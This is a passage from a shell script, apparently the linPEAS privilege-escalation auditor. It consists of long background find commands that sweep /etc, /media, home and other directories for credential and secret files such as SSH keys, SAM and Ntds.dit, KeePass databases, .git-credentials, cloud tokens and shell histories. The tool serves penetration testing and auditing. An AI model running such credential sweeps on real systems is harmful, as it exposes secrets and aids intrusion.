-o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_CACHE=`eval_bckgrd "find /.cache -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_CDROM=`eval_bckgrd "find /cdrom -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_ETC=`eval_bckgrd "find /etc -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"*knockd*\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"exports\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"ssh*config\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_LIB=`eval_bckgrd "find /lib -name \"*.socket\" -o -name \"log4j-core*.jar\" -o -name \"rocketchat.service\" -o -name \"*.timer\" -o -name \"*.service\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_LIB32=`eval_bckgrd "find /lib32 -name \"*.service\" -o -name \"log4j-core*.jar\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_LIB64=`eval_bckgrd "find /lib64 -name \"*.service\" -o -name \"log4j-core*.jar\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_MEDIA=`eval_bckgrd "find /media -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o 